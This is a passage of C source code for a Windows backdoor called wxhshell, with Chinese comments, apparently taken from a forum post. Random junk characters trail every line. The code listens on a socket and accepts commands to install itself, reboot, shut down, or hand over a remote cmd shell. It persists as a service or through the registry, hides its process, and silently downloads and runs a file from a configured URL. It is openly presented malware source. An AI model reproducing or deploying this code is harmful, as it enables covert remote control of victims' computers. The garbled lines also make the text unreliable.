  else j~.u>4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'h k @>"  
  } \/pVcR  
  else { m[{nm95QZ  
%N!h38N2  
    switch(cmd[0]) { JW2W>6Dgv[  
  .ZM]%[4  
  // 帮助 =GLYDV  
  case '?': { f7 K8m|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); omr:C8T>  
    break; -B",&yTV  
  } XPrY`,kN  
  // 安装 XNy:0C  
  case 'i': { *%;6P5n%  
    if(Install()) H#_}^cGPR=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G6f %/m`  
    else j^:b-:F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s 8C:QC  
    break; sY&r bJ(P  
    } Idt@Hk5<&  
  // 卸载 zv>ZrFl*  
  case 'r': { Z5 w`-#  
    if(Uninstall()) zp}yiE!bl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4{c`g$j>  
    else A5`#Ot*3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l[:^TfB  
    break; jD$;q7fB  
    } |P^ikx6f5  
  // 显示 wxhshell 所在路径  j@s=ER  
  case 'p': { &IxxDvP3k  
    char svExeFile[MAX_PATH]; G;87in ,}  
    strcpy(svExeFile,"\n\r"); 2nVuz9h  
      strcat(svExeFile,ExeFile); 9(V=Ubj  
        send(wsh,svExeFile,strlen(svExeFile),0); +*WUH513  
    break; 6f<*1YR F  
    } ':9%3Wq]j  
  // 重启 @w+WLeJ$40  
  case 'b': { Z{Lmd`<w`j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~]jx+6k]  
    if(Boot(REBOOT)) f'8B[&@L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i+kFL$N  
    else { "0p +SZ~D  
    closesocket(wsh); HE8'N=0  
    ExitThread(0); *)2x&~T*|  
    } qQ3 ]E][/  
    break; BHIZHp  
    } sqgD?:@J  
  // 关机 ]=O{7#  
  case 'd': { UXXqE4x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bgkbwE  
    if(Boot(SHUTDOWN)) yL^M~lws  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >^2ZM  
    else { e/g<<f-  
    closesocket(wsh); Nn~tb2\vk  
    ExitThread(0); `HMligT  
    } Te{aB"B  
    break; ^R&_}bp  
    } <T4 7kLI  
  // 获取shell 1mvu3}ewx  
  case 's': { yHV^a0e7EH  
    CmdShell(wsh); E` :ZH  
    closesocket(wsh); !8H!Fj`|j  
    ExitThread(0); TPN:cA6[c  
    break; &VtWSq-)  
  } !07FsPI#{  
  // 退出 R] V~IDs   
  case 'x': { f=-!2#%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zM3H@;}m  
    CloseIt(wsh); mH7CgI  
    break; (@N~ j&  
    } f z/?=  
  // 离开 MZ >0K  
  case 'q': { :~qtvs;{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Y,<WX v  
    closesocket(wsh); f D]An<  
    WSACleanup(); %BT)oH}  
    exit(1); 9g<_JcN  
    break; soFvrl^Ql+  
        } @eAGN|C5  
  } Q}k_#w  
  } 7k[`]:*o  
qW`XA  
  // 提示信息 J"a2 @S&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @5dB b+0J  
} &D&5UdN x  
  } P5ESrZ@f  
VygXhh^7\  
  return; c DEe?WS  
} ~I8"l@H>  
q^T&A[hMPx  
// shell模块句柄 ID{Pzmt-  
int CmdShell(SOCKET sock) 8O;rp(N.n  
{ }SJLBy0  
STARTUPINFO si;  5Fl  
ZeroMemory(&si,sizeof(si)); +lXdRc`6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qAuUe=w%p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s\3Z?zm8  
PROCESS_INFORMATION ProcessInfo; %yS`C"ZQ)  
char cmdline[]="cmd"; A+bu bH,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2=Vkjh-  
  return 0; uV*f  
} >k&lGF<nl  
eW }jS/g`  
// 自身启动模式 JXI+k.fi  
int StartFromService(void) D3ZT''  
{ iX9[Q0g=oQ  
typedef struct "cz]bCr8  
{ ^0BF2&Zx  
  DWORD ExitStatus; jT wM<?  
  DWORD PebBaseAddress; 9b=^"K  
  DWORD AffinityMask; 2kmna/Qa6  
  DWORD BasePriority; sL[(cX?;2  
  ULONG UniqueProcessId; j_YZ(: =  
  ULONG InheritedFromUniqueProcessId; 5D02%U2N)G  
}   PROCESS_BASIC_INFORMATION; EcS-tE 4%  
bW 79<T'+  
PROCNTQSIP NtQueryInformationProcess; ko7-%+0|]  
j)lM:vXR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MlcoOi!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @Tm0T7C  
EssUyF-jwU  
  HANDLE             hProcess; -$!Pf$l@  
  PROCESS_BASIC_INFORMATION pbi; Af! W K=  
Kw5+4R(5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bju,p"J1-E  
  if(NULL == hInst ) return 0; +XaO?F[c  
  _c7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kdueQ(\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yI)RG OV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (/rIodHJO  
3 v,ae7$U&  
  if (!NtQueryInformationProcess) return 0; F" #3s=  
ju2X*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L^ jC& dF  
  if(!hProcess) return 0; X:} 5L> '  
SJ|.% gn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5IF~]5s  
n*8RYm)?  
  CloseHandle(hProcess); TYLl_nGr  
T;pn -  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b<8J;u<  
if(hProcess==NULL) return 0; KX`nHu;  
7!QXh;u  
HMODULE hMod; ~>-;(YU"t  
char procName[255]; #p9z#kin  
unsigned long cbNeeded; gu%'M:Xe  
AZ Lt'9UD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V/[,1W[B  
B[m{2XzGH  
  CloseHandle(hProcess); )^' B:ic  
,9j:h)ks?  
if(strstr(procName,"services")) return 1; // 以服务启动 =rtA{g$)+  
a*wJcJTpV"  
  return 0; // 注册表启动 x jUH<LFxy  
} k~EPVJh"  
YNQ6(HA  
// 主模块 vYm& AD  
int StartWxhshell(LPSTR lpCmdLine) LkbvA  
{ v}*u[GWl]  
  SOCKET wsl; N)I T?  
BOOL val=TRUE; PHL@1K{)  
  int port=0; CzsY=DBH=  
  struct sockaddr_in door; Dp |FyP_w  
!?-5 hh1\  
  if(wscfg.ws_autoins) Install(); r#Oz0=0u  
DO,&Foh\  
port=atoi(lpCmdLine); Ak-7}i  
> mDubP  
if(port<=0) port=wscfg.ws_port; s/&]gj "  
&^D@(m7>{K  
  WSADATA data; I!0 +RP(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GpQF * x  
EYD{8Fw-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g[+Q~/yq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZJ}LnPr  
  door.sin_family = AF_INET; .Qw@H#dtW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -$|X\#R  
  door.sin_port = htons(port); N'BctKL  
T-8nUo}i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y/I6.K3  
closesocket(wsl); aZCT|M1  
return 1; `Q^Sm`R  
} KIl.?_61O  
m-FDCiN>  
  if(listen(wsl,2) == INVALID_SOCKET) { iBW6<2@oZF  
closesocket(wsl); RvZ-w$E&?  
return 1; Ck a]F2,  
} c89vx 9  
  Wxhshell(wsl); *xVAm7_v  
  WSACleanup(); |(ju!&  
"LaX_0t)  
return 0; H 1X]tw.  
/<pQ!'/G  
} 9F1stT0G%  
|VEAzY|[#  
// 以NT服务方式启动 2/q=l?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]<z(Rmn`Q  
{ ffd 3QQ  
DWORD   status = 0; ]c=1-Rl  
  DWORD   specificError = 0xfffffff; v!9Imf  
"fJ|DE&@<i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &+iW:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D)Rf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0lh6b3tdP  
  serviceStatus.dwWin32ExitCode     = 0; yC*BOJS  
  serviceStatus.dwServiceSpecificExitCode = 0; zW`koRH@  
  serviceStatus.dwCheckPoint       = 0; U+M?<4J) "  
  serviceStatus.dwWaitHint       = 0; cyeDZ)  
0\^2HjsJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]Wm ?<7H  
  if (hServiceStatusHandle==0) return; &nw ~gSe  
!T(Omve)  
status = GetLastError(); YEoT_>A$dB  
  if (status!=NO_ERROR) V *y  
{ 2,nCGSfc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d+ko"F|  
    serviceStatus.dwCheckPoint       = 0; jc`',o'[+  
    serviceStatus.dwWaitHint       = 0; Hxi=\2-  
    serviceStatus.dwWin32ExitCode     = status; Y. tFqzo3  
    serviceStatus.dwServiceSpecificExitCode = specificError; '+tT$k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,WK$jHG]  
    return; jn Y3G  
  } yyDBW`V((  
-s "$I:v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xmx;tq  
  serviceStatus.dwCheckPoint       = 0; VjM uU"++@  
  serviceStatus.dwWaitHint       = 0; 4ux5G`oL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <t@*[Aw  
} k(+u"T  
)B4c;O4t  
// 处理NT服务事件,比如:启动、停止 =nZd"t'p|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CxQ,yd;>  
{ Khd,|pM  
switch(fdwControl)  Bz~h-  
{ s\R?@  
case SERVICE_CONTROL_STOP: t+q`h3  
  serviceStatus.dwWin32ExitCode = 0; <ft9B05*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [&V%rhi  
  serviceStatus.dwCheckPoint   = 0; S6X<3L`FfH  
  serviceStatus.dwWaitHint     = 0; Rx-i.EtZ  
  { zD-8#H35X"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PaJwM%s)L  
  } $O!<Zz   
  return; _8`;Xgp  
case SERVICE_CONTROL_PAUSE: VbR.tz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0+i,,^x.  
  break; +[`%b3Nk  
case SERVICE_CONTROL_CONTINUE: 0E1)&f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +[9"M+4-  
  break; XLxr~Yo  
case SERVICE_CONTROL_INTERROGATE: S,%HW87  
  break; S`KCVQ>V  
}; }dl(9H=4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rM |RGe  
} ^u,x~nPXg  
 '|T=  
// 标准应用程序主函数 OG`O i^2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B[V=l<J  
{ _,~zy9{,  
f'U]Ik;Jy  
// 获取操作系统版本 E1_4\ S*z  
OsIsNt=GetOsVer(); hDsORh!i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #Qd3A  
:nEV/"#F  
  // 从命令行安装 .x%SbG<k{  
  if(strpbrk(lpCmdLine,"iI")) Install(); T,>e\  
4*W7{MPY  
  // 下载执行文件 $@wkQ%  
if(wscfg.ws_downexe) { fh<G& E8 p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bnQO}G  
  WinExec(wscfg.ws_filenam,SW_HIDE); .5xg;Qg\Y  
} =1capix 1r  
P s;:g0  
if(!OsIsNt) { )_?$B6hf,&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;v\n[  
HideProc(); N/VIP0Kb  
StartWxhshell(lpCmdLine); 1[]cMyV  
} DUr1s]+P  
else ~]W8NaQB(  
  if(StartFromService()) _jz=BRO$  
  // 以服务方式启动 < .!3yy  
  StartServiceCtrlDispatcher(DispatchTable); iN*@f8gf  
else bP@ _4Dy  
  // 普通方式启动 bHnQLJ  
  StartWxhshell(lpCmdLine); V  ""  
)`^:G3w  
return 0; {5JXg9um  
}
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只看该作者 1 发表于: 2006-10-10
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